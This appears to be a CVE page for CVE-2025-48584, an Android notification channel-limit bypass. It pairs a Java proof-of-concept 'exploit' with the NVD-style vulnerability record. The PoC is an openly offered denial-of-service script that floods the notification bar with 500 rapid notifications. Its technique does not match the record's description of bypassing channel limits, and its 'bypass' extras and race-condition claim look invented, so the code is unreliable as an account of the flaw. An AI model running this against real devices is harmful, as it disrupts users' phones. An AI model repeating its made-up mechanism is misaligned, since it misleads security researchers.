CVE-2025-48584

// CVE-2025-48584 PoC - Android NotificationManagerService bypass // This PoC demonstrates bypassing per-package notification channel limits import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.Notification; import android.content.Context; import android.os.Bundle; public class NotificationBypass { private static final String CHANNEL_ID = "bypass_channel"; private static final int NOTIFICATION_ID_BASE = 1000; public static void exploitBypass(Context context) { NotificationManager nm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); // Create notification channel NotificationChannel channel = new NotificationChannel( CHANNEL_ID, "Bypass Test Channel", NotificationManager.IMPORTANCE_LOW ); nm.createNotificationChannel(channel); // Bypass technique: Rapid sequential creation with different flags // Exploits race condition in NotificationManagerService validation for (int i = 0; i < 500; i++) { // Normal limit is ~100-200 try { Notification.Builder builder = new Notification.Builder(context, CHANNEL_ID) .setContentTitle("Bypass Test " + i) .setContentText("Exploiting CVE-2025-48584") .setSmallIcon(android.R.drawable.ic_dialog_info); // Bypass method: Add extras to trigger different code paths Bundle extras = new Bundle(); extras.putBoolean("android.support.useSideChannel", true); extras.putInt("bypassFlag", i % 10); builder.setExtras(extras); nm.notify(CHANNEL_ID, NOTIFICATION_ID_BASE + i, builder.build()); // Rapid-fire to exploit race condition Thread.sleep(1); } catch (Exception e) { e.printStackTrace(); } } // Result: System resource exhaustion, notification bar flooded } }

{"cve": {"id": "CVE-2025-48584", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.710", "lastModified": "2025-12-10T19:43:07.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of NotificationManagerService.java, there is a possible way to bypass the per-package channel limits causing resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/08a0766708db2071d9b8b65abf40d7e8057daaa1", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}